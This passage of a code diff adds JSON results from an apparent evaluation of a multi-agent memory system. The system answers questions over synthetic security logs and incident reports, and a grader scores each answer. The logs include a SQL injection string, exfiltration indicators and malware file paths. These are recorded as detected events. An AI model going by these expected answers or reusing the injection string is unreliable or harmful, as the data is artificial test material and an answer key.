"actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 0.79 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_v5.json b/experiments/hive_mind/eval_security_results_v5.json new file mode 100644 index 000000000..252a222a1 --- /dev/null +++ b/experiments/hive_mind/eval_security_results_v5.json @@ -0,0 +1,372 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.215, + "elapsed_s": 212.11, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 20.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.357, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.05, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_000] | Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_001] | Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_002] | Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical). [security_logs_007] | Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_003]", + "score": 0.5, + "reasoning": "The agent provided 5 log entries from IP 192.168.1.45, but only 4 are failed SSH logins (security_logs_000, 001, 002, 003). One entry (security_logs_007) is a privilege escalation attempt, not a failed SSH login. The expected answer is 6 failed SSH logins (3 as admin, 3 as root), but the agent only shows 4 failed SSH logins (2 as admin, 2 as root). The agent is missing 2 failed SSH login attempts and incorrectly included an unrelated log entry. This represents significant gaps in the factual recall required for this L1 question.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 0, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_000", + "content": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "74537069af50" + }, + { + "_id": { + "offset": 1, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_001", + "content": "Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "7cb8aa1f7843" + }, + { + "_id": { + "offset": 2, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_002", + "content": "Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a9a5207203e6" + } + ], + "elapsed_s": 13.55 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [general] | [LEARN_CONTENT turn=152] Incident update INC-2024-001: Status changed from investigating to remediated. Detail: All encrypted files restored from backup; attacker C2 blocked at firewall. [general] | [LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [general] | [LEARN_CONTENT turn=153] Incident update INC-2024-004: Status changed from investigating to contained. Detail: S3 access logs show no customer data accessed; key only listed buckets. [general] | [LEARN_CONTENT turn=154] Incident update INC-2024-002: Status changed from investigating to contained. Detail: All service account passwords rotated; egress filtering tightened. [general]", + "score": 0.0, + "reasoning": "The agent's answer contains only generic security logs about failed SSH logins and incident status updates (INC-2024-001, INC-2024-002, INC-2024-004). None of this information relates to the specific question asked: malware detected on 10.0.0.5 (Cobalt Strike beacon in /tmp/.hidden/payload.exe) or the lateral movement technique (PsExec targeting 10.0.0.6 and 10.0.0.7). The response is completely unrelated to the expected answer.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_c6833a8ed1cd", + "source": "agent-96" + }, + { + "content": "[LEARN_CONTENT turn=152] Incident update INC-2024-001: Status changed from investigating to remediated. Detail: All encrypted files restored from backup; attacker C2 blocked at firewall.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_30b796db53f1", + "source": "agent-96" + }, + { + "content": "[LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high).", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_2be30bd517b3", + "source": "agent-96" + } + ], + "elapsed_s": 11.49 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. [security_logs_012] | Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [security_logs_008] | Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. [security_logs_011] | Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. [security_logs_018] | Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. [security_logs_019]", + "score": 1.0, + "reasoning": "The agent's answer contains all three key data exfiltration indicators from the expected answer: (1) 2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, (2) anomalous DNS query to data.exfil.evil.com, and (3) the connection to 185.220.101.45 which is identified as the external destination of the data transfer. While the agent included additional security events (port scan, RDP brute force, malware detection), these don't detract from the complete and accurate identification of all required data exfiltration indicators. The core information is semantically equivalent and factually accurate for this L1 recall task.", + "result_count": 16, + "top_results": [ + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_012", + "content": "Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "1721e9ad7037" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_008", + "content": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ffd0a5ce6ca2" + }, + { + "_id": { + "offset": 15, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_011", + "content": "Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ff04b566e82e" + } + ], + "elapsed_s": 14.61 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [security_logs_008] | Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. [security_logs_018] | Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. [security_logs_019] | Security log [2024-03-16 10:05:00]: Lateral movement detected from 10.0.0.5 (user: SYSTEM, severity: critical). target: 10.0.0.6,10.0.0.7. technique: PsExec. [security_logs_020] | Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024]", + "score": 0.0, + "reasoning": "The agent's answer is completely unrelated to the question. The question asks about a supply chain attack and CVE, expecting information about the event-stream package and CVE-2024-3094. Instead, the agent provided security logs about port scans, brute force attacks, malware detection, and database dumps - none of which address supply chain attacks or the specific CVE mentioned in the expected answer.", + "result_count": 19, + "top_results": [ + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_008", + "content": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ffd0a5ce6ca2" + }, + { + "_id": { + "offset": 18, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_018", + "content": "Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "d361058a14be" + }, + { + "_id": { + "offset": 19, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_019", + "content": "Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "810d9c5b9d89" + } + ], + "elapsed_s": 7.76 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical). [security_logs_007] | Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%. [security_logs_025] | Security log [2024-03-17 10:00:00]: Phishing email detected from 10.0.5.1 (user: hr_inbox, severity: high). subject: Urgent: Update your credentials. sender: support@1egit-company.com. [security_logs_029] | Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030]", + "score": 1.0, + "reasoning": "The agent's answer contains all the required information about the phishing attempt. It correctly identifies: the phishing email was detected targeting hr_inbox, the subject line 'Urgent: Update your credentials', and the sender support@1egit-company.com with the suspicious '1' instead of 'l'. While the agent provided additional security log information, the relevant phishing details are complete and accurate, making this a perfect match to the expected answer.", + "result_count": 35, + "top_results": [ + { + "_id": { + "offset": 7, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_007", + "content": "Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "34e0714961a3" + }, + { + "_id": { + "offset": 11, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_024", + "content": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "484078dae27b" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_025", + "content": "Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "abdf7b555ffd" + } + ], + "elapsed_s": 4.51 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "Agent identity: agent-97. Role: You are a distributed hive mind agent. You are agent 97. [general] | [LEARN_CONTENT turn=247] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. [general] | [LEARN_CONTENT turn=269] Incident update INC-2024-002: Status changed from contained to remediated. Detail: Breach notification sent to 15,000 affected customers. [general] | [LEARN_CONTENT turn=299] Security log [2024-03-17 10:00:00]: Phishing email detected from 10.0.5.1 (user: hr_inbox, severity: high). subject: Urgent: Update your credentials. sender: support@1egit-company.com. [general] | [LEARN_CONTENT turn=300] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [general]", + "score": 0.3, + "reasoning": "The agent provided information about INC-2024-001 showing status as 'contained' rather than 'closed'. The expected answer indicates the incident should be closed with complete remediation steps (files restored, C2 blocked, MFA enforced, post-incident review completed). The agent only shows the incident at the 'contained' stage from turn 300, missing all the final resolution details. This is a significant gap in accuracy for an L1 recall question, though the agent did identify the correct incident.", + "result_count": 10, + "top_results": [ + { + "content": "Agent identity: agent-97. Role: You are a distributed hive mind agent. You are agent 97.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_97860ddf6687", + "source": "agent-97" + }, + { + "content": "[LEARN_CONTENT turn=247] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_1e93d44938e9", + "source": "agent-97" + }, + { + "content": "[LEARN_CONTENT turn=269] Incident update INC-2024-002: Status changed from contained to remediated. Detail: Breach notification sent to 15,000 affected customers.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_0672b4e00419", + "source": "agent-97" + } + ], + "elapsed_s": 18.24 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 21.42 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 21.48 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.98 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 21.24 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 21.72 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_v6.json b/experiments/hive_mind/eval_security_results_v6.json new file mode 100644 index 000000000..0fb5f35b2 --- /dev/null +++ b/experiments/hive_mind/eval_security_results_v6.json @@ -0,0 +1,498 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.312, + "elapsed_s": 254.27, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 25.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.214, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.425, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_000] | Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_001] | Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_002] | Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_003] | Security log [2024-03-15 14:23:15]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_004]", + "score": 0.5, + "reasoning": "The agent correctly identified 5 failed SSH login attempts from IP 192.168.1.45 and provided accurate details (3 as admin, 2 as root). However, the expected answer indicates there should be 6 failed logins (3 as admin, 3 as root). The agent is missing one failed root login attempt. Additionally, the agent did not mention the successful login as admin that occurred after the failed attempts, which was part of the complete expected answer. The response is partially correct with significant gaps.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 0, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_000", + "content": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "74537069af50" + }, + { + "_id": { + "offset": 1, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_001", + "content": "Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "7cb8aa1f7843" + }, + { + "_id": { + "offset": 2, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_002", + "content": "Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a9a5207203e6" + } + ], + "elapsed_s": 10.02 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. [general] | [LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. [general] | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. [general] | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. [general] | [LEARN_CONTENT turn=34] Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. [general]", + "score": 0.0, + "reasoning": "The agent's answer discusses completely different security incidents (WAF blocks, RDP brute force from 192.168.2.10, APT campaigns, supply chain compromises) but contains no information about the specific brute force attack from 192.168.1.45. The expected answer requires details about SSH login attempts with specific users (admin/root), timestamps (14:23:01-14:23:22), and privilege escalation at 14:30:00. None of this information appears in the agent's response. This is L1 (Recall) requiring factual accuracy about a specific IP address and attack pattern, and the agent provided unrelated content.", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_b884a78719e7", + "source": "agent-0" + }, + { + "content": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_fa34269a8919", + "source": "agent-0" + }, + { + "content": "[LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil.", + "concept": "general", + "confidence": 0.9, + "node_id": "sem_93481f144aca", + "source": "agent-0" + } + ], + "elapsed_s": 9.77 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [security_logs_008] | Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1. [security_logs_009] | Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. [security_logs_010] | [LEARN_CONTENT turn=8] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [general] | [LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. [general]", + "score": 1.0, + "reasoning": "The agent correctly identified all 7 ports that were scanned by 10.0.0.50: 22, 80, 443, 3306, 5432, 8080, 8443. This is an L1 recall question requiring direct factual accuracy, and the agent retrieved the exact information from the security logs. The additional context provided (other security events and learned content) does not detract from the accuracy of the answer to the specific question asked.", + "result_count": 15, + "top_results": [ + { + "_id": { + "offset": 10, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_008", + "content": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "8cf8f6737ff5" + }, + { + "_id": { + "offset": 11, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_009", + "content": "Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a83223fcd4fb" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_010", + "content": "Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "f48b2fa5c0e7" + } + ], + "elapsed_s": 26.34 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 28.76 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 33.29 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 25.34 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical). [security_logs_007] | Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [security_logs_008] | Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1. [security_logs_009] | Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. [security_logs_018] | Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. [security_logs_019]", + "score": 0.0, + "reasoning": "The agent's answer lists various security incidents (privilege escalation, port scans, SQL injection, RDP brute force, malware) but completely fails to identify the specific phishing attempt mentioned in the expected answer. The expected answer describes a phishing email with subject 'Urgent: Update your credentials' sent to hr_inbox from a spoofed domain (support@1egit-company.com). None of the security logs provided by the agent relate to phishing emails at all. This is completely unrelated content for an L1 recall question.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 7, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_007", + "content": "Security log [2024-03-15 14:30:00]: Privilege escalation attempt from 192.168.1.45 (user: admin, severity: critical).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "34e0714961a3" + }, + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_008", + "content": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ffd0a5ce6ca2" + }, + { + "_id": { + "offset": 9, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_009", + "content": "Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "95b9c731010d" + } + ], + 